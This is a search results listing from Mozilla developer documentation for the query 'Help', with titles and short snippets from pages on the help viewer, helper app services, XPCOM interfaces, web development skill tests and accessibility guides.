Search completed in 1.02 seconds.
1443 results for "Help":
Your results are loading. Please wait...
Creating a Help Content Pack - Archive of obsolete content
original doc: http://www.mozilla.org/projects/help.../content_packs i hesitate to call it "original", tho, because i've basically rewritten the entire thing so that it's easier and faster to use to create help content.
... this document describes how to integrate html help documentation into your application using the mozilla help viewer.
... documentation contained in the help viewer can be accessed using any xul application or program that embeds mozilla.
...And 28 more matches
Helper Apps (and a bit of Save As) - Archive of obsolete content
when this fails, uriloader asks an nsiexternalhelperappservice to handle the load.
... the nsexternalhelperappservice looks up the nsimimeinfo for the load and creates an nsihelperapplauncher to manage the load.
... the nsexternalapphandler (which implements nsihelperapplauncher) uses the nsimimeinfo and an nsihelperapplauncherdialog to decide what to do with the data.
...And 10 more matches
XForms Help Element - Archive of obsolete content
introduction specifies contextual help for the containing form control (see the spec).
... the help message will be displayed if the f1 key is pressed while the containing form control has focus or if the containing form control recieves a xforms-help event.
... the message of the help element can exist in instance data, in a remote document, or as inline text.
...And 3 more matches
nsIExternalHelperAppService
uriloader/exthandler/nsiexternalhelperappservice.idlscriptable the external helper app service is used for finding and launching platform specific external applications for a given mime content type.
... inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/uriloader/external-helper-app-service;1.
... to access this service, use: var externalhelperappservice = components.classes["@mozilla.org/uriloader/external-helper-app-service;1"] .getservice(components.interfaces.nsiexternalhelperappservice); method overview boolean applydecodingforextension(in autf8string aextension, in acstring aencodingtype); nsistreamlistener docontent(in acstring amimecontenttype, in nsirequest arequest, in nsiinterfacerequestor awindowcontext, in boolean aforcesave); methods applydecodingforextension() determines whether or not data whose filename has the specified extension should be decoded from the specified encoding type before being saved or delivered to helper applications.
...And 3 more matches
Help Viewer - Archive of obsolete content
help viewer: allows information to be shown to the user inside mozilla.
...naturally, then, everyone needs a little help now and then, and getting that help to the user is critical to making applications useful.
... consequently, the mozilla platform provides a cross-platform help viewer along with a framework for providing built-in help documentation.
...And 2 more matches
nsIWinAppHelper
toolkit/xre/nsiwinapphelper.idlscriptable used on windows only to do some work from a special process that gets created with elevated privileges.
...to create an instance, use: var xulappinfo = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsiwinapphelper); the nsixulappinfo and nsixulruntime interfaces are also implemented by "xre/app-info".
... methods fixreg() obsolete since gecko 1.9 (firefox 3) invokes helper.exe with the /fixreg parameter.
...And 2 more matches
Gecko Coding Help Wanted - Archive of obsolete content
there's plenty to do, and we sure could use the help.
...it's kind of tedious but it's extremely valuable and will help you learn the way around the codebase.
...join the gecko bugathon and help save gecko engineers from imminent doom!
Web Console Helpers - Firefox Developer Tools
the commands the javascript command line provided by the web console offers a few built-in helper functions that make certain tasks easier.
...this helper accepts multiple different ways of identifying the frame to switch to.
... help()deprecated since gecko 62 :help displays help text.
helpURI - Archive of obsolete content
« xul reference home helpuri type: uri the uri of the help page associated with a preference panel.
... the uri will be opened using the help viewer when the help button is pressed.
Help
« nsiaccessible page summary help text associated with node.
... attribute astring help; ...
buttonaccesskeyhelp - Archive of obsolete content
« xul reference home buttonaccesskeyhelp type: string the access key to use for the "help" button.
buttonlabelhelp - Archive of obsolete content
« xul reference home buttonlabelhelp type: string the label to appear on the "help" button.
getHelperForLanguage
this content is now available at nsiclassinfo.gethelperforlanguage().
nsIClipboardHelper
widget/public/nsiclipboardhelper.idlscriptable the nsiclipboardhelper interface is a helper service for common uses of nsiclipboard interface.
nsILoginManagerIEMigrationHelper
toolkit/components/passwordmgr/public/nsiloginmanageriemigrationhelper.idlscriptable imports a login from the nsiieprofilemigrator into the login manager.
Index - Archive of obsolete content
78 core/heritage helper functions for inheritance.
... 85 frame/utils provides helper functions for working with platform internals like frames and browsers.
... 90 lang/functional functional helper methods.
...And 78 more matches
Mozilla DOM Hacking Guide
class info and helper classes introduction to class info class info is what gives the dom classes their correct behavior when used through xpconnect.
...instead, in the helper class for the window object (nswindowsh, see the next section), we define the getproperty() member function.
...when set, it allows us to define a getproperty() function on nshistorysh (the helper class for the history object), which will handle the array behavior.
...And 53 more matches
Index - Archive of obsolete content
ArchiveMozillaXULIndex
38 buttonaccesskeyhelp xul attributes, xul reference no summary!
... 47 buttonlabelhelp xul attributes, xul reference no summary!
... 80 currentset needshelp, xul attributes, xul reference no summary!
...And 31 more matches
Index - Learn web development
to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the start.
...our wai-aria basics article will help to fill gaps in this knowledge, but this article has taken care of the basics.
... 13 aprender y obtener ayuda beginner, learn, learning, web development, getting help it is great that you are putting some time into learning a new set of skills, but there are good practices to employ that will make your learning more effective.
...And 27 more matches
Index
MozillaTechXPCOMIndex
6 creating a python xpcom component guide, needshelp, pyxpcom, xpcom, xpcom:language bindings creating applications with mozilla already provides a tutorial for making a simple javascript or c++ component (implementing the nsisimple interface).
...here is the interface, and a description of its use.</t> 10 how to pass an xpcom object to a new window needsexample, needshelp if you want to be able to call functions within an xpcom object from a xul window's code, you can do so if you pass the xpcom object as one of the arguments to the window creation method.
...in those cases, an xpcshell script can help.
...And 21 more matches
Index - Web APIs
WebAPIIndex
98 arraybufferview api, interface, javascript, reference, typed arrays arraybufferview is a helper type representing any of the following javascript typedarray types: 99 attr api, dom the attr interface represents one of a dom element's attributes as an object.
...it is especially important in games and musical applications where large numbers of individual sounds are played simultaneously, where you want to control the overall signal level and help avoid clipping (distorting) of the audio output.
...this article is designed to help you make that decision.
...And 20 more matches
Cognitive accessibility - Accessibility
all of the following guidelines help more than just people with cognitive disabilities.
... for example, being able to extend the expiration time on an application requiring an authentication code sent to a mobile device via text message helps with the following scenarios: people with attention or anxiety disorders.
...making your content capable of being understood by the software is a good way to help ensure it can be used by alternate presentational modes.
...And 20 more matches
Archived Mozilla and build documentation - Archive of obsolete content
ant script to assemble an extension this ant script helps to package an extension archived spidermonkey docs this section contains old spidermonkey documentation.
... autodial for windows nt this document is intended to explain how the autodial helper feature implemented for bug 93002 works and why it works that way.
...i hope this manual will help you.
...And 11 more matches
Debugging CSS - Learn web development
this article will give you guidance on how to go about debugging a css problem, and show you how the devtools included in all modern browsers can help you to find out what is going on.
...this will help if you are seeing different rendering between multiple browsers.
... you can use this to do an a/b comparison, deciding if something looks better with a rule applied or not, and also to help debug it — for example if a layout is going wrong and you are trying to work out which property is causing the problem.
...And 11 more matches
Aprender y obtener ayuda - Learn web development
there are also are times when you'll get stuck and feel frustrated — even professional web developers feel like this regularly — and it pays to know about the most effective ways to try and get help so you can progress in your work.
... this article provides some hints and tips in both of these areas that will help you get more out of learning web development, as well as further reading so you can find out more information about each sub-topic should you wish..
... note: online code editors are also really useful for sharing code you've written, for example, if you are collaborating on learning with someone else who isn't in the same location, or are sending it someone to ask for help with it.
...And 11 more matches
Mozilla
in addition, you'll find helpful articles about how the code works, how to build add-ons for mozilla applications and the like.
... adding phishing protection data providers phishing protection technology lets firefox help protect users by comparing the urls the user visits to a list of known scam sites, and presenting a warning to the user when they visit a site on the list.
...this document will help you understand all the pieces that comprise mozilla's continuous integration systems.
...And 10 more matches
Mozilla release FAQ - Archive of obsolete content
other irc clients can be found at irchelp.org.
...visit netscape's website for help on that software.
...reading this faq might help as well.
...And 9 more matches
Test your skills: Form validation - Learn web development
note: you can try out solutions locally, however it may be helpful to put your code in an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...to help, you might want to consider adding some simple css to show when a form field is valid or invalid.
...And 9 more matches
Closures - JavaScript
<p id="help">helpful notes will appear here</p> <p>e-mail: <input type="text" id="email" name="email"></p> <p>name: <input type="text" id="name" name="name"></p> <p>age: <input type="text" id="age" name="age"></p> function showhelp(help) { document.getelementbyid('help').innerhtml = help; } function setuphelp() { var helptext = [ {'id': 'email', 'help': 'your e-mail address'}, {'id': 'name...
...', 'help': 'your full name'}, {'id': 'age', 'help': 'your age (you must be over 16)'} ]; for (var i = 0; i < helptext.length; i++) { var item = helptext[i]; document.getelementbyid(item.id).onfocus = function() { showhelp(item.help); } } } setuphelp(); try running the code in jsfiddle.
... the helptext array defines three helpful hints, each associated with the id of an input field in the document.
...And 9 more matches
Bounding volume collision detection with THREE.js - Game development
box and sphere using boxhelper as an alternative to using raw box3 and sphere objects, three.js has a useful object to make handling bounding boxes easier: boxhelper (previously boundingboxhelper, which has been deprecated).
... this helper takes a mesh and calculates a bounding box volume for it (including its child meshes).
... boxhelper is the recommended way to handle 3d collisions with bounding volumes in three.js.
...And 8 more matches
How Mozilla determines MIME Types
when encountering a non-text byte, the helper app dialog will be shown, showing the mime type corresponding to the extension of the file.
... file uris for file: uris, mozilla will ask the externalhelperappservice for a mime type.
... if the file starts with <?xml, asks the externalhelperappservice for a mime type for the uri.
...And 8 more matches
Game promotion - Game development
promoting the game helps a lot when monetizing it later on too, so it's important to do it correctly.
...continually publishing information about your games will help educate others, increase your reputation in the community, and further improve seo.
... a further option is to publish monthly reports that summarize all your progress — it helps you see what you've accomplished throughout the month and what's still left to do, and it keeps reminding people that your game is coming out soon — building buzz is always good.
...And 7 more matches
Test your skills: The Cascade - Learn web development
the aim of this task is to help you check your understanding of some of the values and units that we looked at in the lesson on the cascade and inheritance.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...And 7 more matches
Test your skills: Images and Form elements - Learn web development
the aim of this task is to help you check your understanding of some of the values and units that we looked at in the lesson on images, media and form elements.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...And 7 more matches
Organizing your CSS - Learn web development
in this article we will take a brief look at some best practices for writing your css to make it easily maintainable, and some of the solutions you will find in use by others to help improve maintainability.
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn some tips and best practices for organizing stylesheets, and find out about some of the naming conventions and tools in common usage to help with css organization and team working.
... comment your css adding comments to your css will help any future developer work with your css file, but will also help you when you come back to the project after a break.
...And 7 more matches
Test your skills: Overflow - Learn web development
the aim of these tasks is to help you check your understanding of overflow in css.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...And 7 more matches
Test your skills: The Box Model - Learn web development
the aim of this task is to help you check your understanding of the css box model.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...And 7 more matches
Test your skills: Selectors - Learn web development
the aim of this task is to help you check your understanding of selectors in css.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...And 7 more matches
Test your skills: sizing - Learn web development
the aim of this task is to help you check your understanding of some of the values and units that we looked at in the lesson on sizing items in css.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...And 7 more matches
Test your skills: tables - Learn web development
the aim of this task is to help you check your understanding of the skills you studied in the lesson on styling tables.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...And 7 more matches
Test your skills: values and units - Learn web development
the aim of this task is to help you check your understanding of some of the values and units that we looked at in the lesson on css values and units.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...And 7 more matches
Test your skills: Writing Modes and Logical Properties - Learn web development
the aim of this task is to help you check your understanding of writing modes and logical properties.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...And 7 more matches
Test your skills: Advanced styling - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...we've made one available in the same directory as our html files — see search-24px.png — plus a <div> element after the search input to help you attach it, should you need it.
...And 7 more matches
Test your skills: Links - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... links 1 in this task we want you to help fill in the links on our whales information page: the first link should be linked to a page called whales.html, which is in the same directory as the current page.
...And 7 more matches
Test your skills: Conditionals - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...And 7 more matches
Test your skills: Events - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...And 7 more matches
Test your skills: Functions - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...And 7 more matches
Test your skills: Arrays - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...And 7 more matches
Test your skills: Math - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...And 7 more matches
Test your skills: Strings - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...And 7 more matches
Test your skills: variables - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...And 7 more matches
Test your skills: Object-oriented JavaScript - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...And 7 more matches
Test your skills: Object basics - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...And 7 more matches
Introducing a complete toolchain - Learn web development
however, more complicated software requirements will likely benefit from the usage of tools to help simplify the development process.
...the chair needs to be comfortable, and set up in a good position to help with your posture.
...there might be important decorations or music that help with your mental state — these are all important to doing your best work possible, and they should also only need to be set up once, if done properly.
...And 7 more matches
A bird's-eye view of the Mozilla framework
it examines what happens when the user performs a simple user interface (ui) action such as clicking a link in the contents panel of the help viewer window shown below.
...thehelp viewer files referenced in the article are located in /seamonkey/extensions/help/ this article also assumes you are familiar with the javascript and c++ programming languages, object-oriented programming (oop) terminology and design concepts, the microsoft® component object model (com), and the corba omg interface definition language (idl).
... organization this article first covers some conceptual groundwork, then walks through a user scenario to illustrate how key mozilla architectural components work together to support a simplehelp viewer ui action.
...And 7 more matches
Test your skills: CSS and JavaScript accessibility - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
...And 6 more matches
Test your skills: HTML accessibility - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
...And 6 more matches
Test your skills: WAI-ARIA - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
...And 6 more matches
Test your skills: backgrounds and borders - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
...And 6 more matches
Test your skills: Flexbox - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 6 more matches
Test your skills: floats - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 6 more matches
Test Your Skills: Fundamental layout comprehension - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 6 more matches
Test your skills: Grid Layout - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 6 more matches
Test your skills: Multicol - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 6 more matches
Test your skills: position - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors mentioned above.
...And 6 more matches
Test your skills: Basic controls - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
...And 6 more matches
Test your skills: Form structure - Learn web development
note: you can try out the solution in the interactive editor below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice this example in the interactive editor above.
...And 6 more matches
Test your skills: HTML5 controls - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
...And 6 more matches
Test your skills: Other controls - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
...And 6 more matches
Test your skills: Styling basics - Learn web development
note: you can try out solutions by editing the starting point file locally, however it may be helpful to put your code in an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
...And 6 more matches
Test your skills: Advanced HTML text - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
...And 6 more matches
Test your skills: HTML text basics - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
...And 6 more matches
Test your skills: HTML images - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
...And 6 more matches
Test your skills: Multimedia and embedding - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
...And 6 more matches
Commenting IDL for better documentation
this article will help you understand how you can format your comments to help ensure that the conversion process can be automated as much as possible in order to ensure that your interface gets properly documented.
... happily, following these recommendations will also help ensure your comments are extremely human-readable, too.
...but by following the guidelines here, you can help make sure that our tools can generate a "good start" version of the documentation for your interfaces, and that the writers will be able to easily figure out what the tools are not able to do automatically.
...And 6 more matches
Storage
for storage api help, you can post to mozilla.dev.apps.platform on the news server news.mozilla.org.
...in javascript, there is a useful helper object (mozistoragestatementparams) available () that makes binding parameters much easier: var statement = dbconn.createstatement("select * from table_name where id = :row_id"); statement.params.row_id = 1234; use :boundparametername the same way for numeric and non-numeric columns.
...you can still use this helper object by manually creating the statement wrapper, mozistoragestatementwrapper, which is provided in gecko 1.9.1 and later.
...And 6 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
without downloading the sdk, you won't get the extremely useful tools, which help a great deal in the learning process.
...[important] get_acchelp: get context sensitive help for the iaccessible.
... get_acchelptopic: we don't use this, it's only if the windows help system is used.
...And 6 more matches
XUL accessibility guidelines - Archive of obsolete content
in addition, there is an active community of accessibility developers within the mozilla project that will be happy to help you with any concerns or questions you have in regards to making your xul applications fully accessible.
... there is also a xul accessibility tool which can help test some of these guidelines, but please be aware that no tool can replace human judgement for accessibility, and understanding the guidelines is vital.
... instruction provide users with help documentation.
...And 5 more matches
Accessible multimedia - Learn web development
images, videos, <canvas> elements, flash movies, etc., aren't as easily understood by screenreaders or navigated by the keyboard, and we need to give them a helping hand.
... but don't despair — here we will help you navigate through the techniques available for making multimedia more accessible.
... community/grass roots/self transcription — if you are part of an active community or team in your workplace, then you could ask them for help with doing the translations.
...And 5 more matches
Test your skills: Media Queries and Responsive Design - Learn web development
if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors mentioned above.
... if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
...And 5 more matches
What text editors are available? - Learn web development
do i need support/help while using my text editor?
...ows, mac, linux mailing list, irc online manual yes kate lgpl, gpl free windows, mac, linux mailing list, irc online manual yes komodo edit mpl free windows, mac, linux forum online manual yes notepad++ gpl free windows forum wiki yes pspad closed source free windows faq, forum online help yes sublime text closed source $70 windows, mac, linux forum official, unofficial yes textmate closed source $50 mac twitter, irc, mailing list, e-mail online manual, wiki yes textwrangler closed source free mac faq, forum pdf manual no vim specific open license free windows, mac, linux mailin...
...many text editors help you out with features like: syntax highlighting.
...And 5 more matches
Structuring a page of content - Learn web development
note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...this is extremely helpful.
... assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
...And 5 more matches
Test your skills: Loops - Learn web development
if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help you can practice these examples in the interactive editors above.
... if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
...And 5 more matches
Silly story generator - Learn web development
note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
...there is a particular string method that will help you here — in each case, make the call to the method equal to newstory, so each time it is called, newstory is made equal to itself, but with substitutions made.
... assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
...And 5 more matches
Gecko info for Windows accessibility vendors
in total, gecko supports the following window classes: mozillauiwindowclass - root ui window, at the root of the window hierarchy mozillacontentwindowclass -- root document window mozillacontentframewindowclass - root of a subdocument created by a <frame> or <iframe> element mozillahiddenwindowclass - ignore these windows, they are used to help manage other windows mozillawindowclass - general filler window, a catch all starting in firefox 2, however, you should begin switching your code to use navrelation_embeds.
... gecko also helps determine when to load a new window by firing two event_state_change's on the root role_document accessible -- the first state change indicates the document pane is now busy loading.
... because screen readers usually cache an entire document's worth of data, it can be extremely useful for them to receive a child id that helps them correlate back to a known object.
...And 5 more matches
Contributing to the Mozilla code base
:) need help?
...if you have any difficulties getting involved or finding answers to your questions, please come and ask your questions in our chatroom, where we can help you get started.
...see pages on bugzilla for further help learn the bugzilla component, with which your pet peeve is implemented, using the components list.
...And 5 more matches
mach
mach (german for to make) is a program via the "command-line interface" to help developers perform installation tasks such as installing firefox from its c++ source code.
... running from the root of the source tree checkout, you should just be able to type: $ ./mach if all is well, you should see a help message.
... for full help: $ ./mach help try building the tree: $ ./mach build if you get error messages, make sure that you have all of the build requisites for your system.
...And 5 more matches
Performance best practices for Firefox front-end engineers
this guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
...knowing the path they will take through the various layers of the browser engine will help you optimize your code to avoid pitfalls.
... historically, there hasn't been an easy way of doing this - however, bug 1434376 has recently landed some chromeonly helpers to the window binding to make this simpler.
...And 5 more matches
Initial setup
if a community already exists, reach out to them and ask how you can help.
...these accounts will store your code, contributions, and help you produce an official localization.
...the svn for localizers guide will help you learn the most important svn commands for l10n.
...And 5 more matches
Shell global objects
you can get the list of functions by help() function in js shell.
... help([name ...]) display usage and help messages.
... syntaxparse(code) check the syntax of a string, returning success value offthreadcompilescript(code[, options]) compile code on a helper thread.
...And 5 more matches
Getting Started Guide
nscomptr is a tool to help prevent leaks.
...probably the three most helpful books on this topic are the c++ programming language by bjarne stroustrup, effective c++, and more effective c++ by scott meyers.
... how does nscomptr help?
...And 5 more matches
WebIDL bindings
there are various helper objects and utility methods in dom/bindings that are also all in the mozilla::dom namespace and whose headers are all exported into mozilla/dom (placed in $objdir/dist/include by the build process).
...each has a different set of helper functions it comes with.
... maplike example interface: interface stringtolongmap { maplike<domstring, long>; }; the bindings for this interface will generate the storage structure for the map, as well as helper functions for accessing that structure from c++.
...And 5 more matches
Plug-in Basics - Plugins
go to the help menu, and click help and then about plug-ins.
... plug-ins and helper applications before plug-ins, there were helper applications.
... a helper application is a separate, free-standing application that can be started from the browser.
...And 5 more matches
Index - Firefox Developer Tools
21 debugger.memory the debugger api can help tools observe the debuggee’s memory use in various ways: 22 debugger.object a debugger.object instance represents an object in the debuggee, providing reflection-oriented methods to inspect and modify its referent.
... 44 tree map view the tree map view provides a visual representation of the snapshot, that helps you quickly get an idea of which objects are using the most memory.
...the following list aims to help firebug users to find their way into the developer tools.
...And 5 more matches
Understandable - Accessibility
3.1.5 reading level (aaa) if text is provided that requires a higher reading level that lower secondary education level (typically children around 11-14 years old), provide supplementary explainer material to help people who can't read it, or provide an alternative version that is written at lower secondary level.
... guideline 3.3 — input assistance: help users avoid and correct mistakes this guideline centers around helping users enter correct information when required with the minimum of mistakes.
...when an error is detected, an intuitive error message should be shown next to the form input that is at fault to help the user correct their inputs.
...And 5 more matches
Low-Level APIs - Archive of obsolete content
core/heritage helper functions for inheritance.
... frame/utils provides helper functions for working with platform internals like frames and browsers.
... lang/functional functional helper methods.
...And 4 more matches
Autodial for Windows NT - Archive of obsolete content
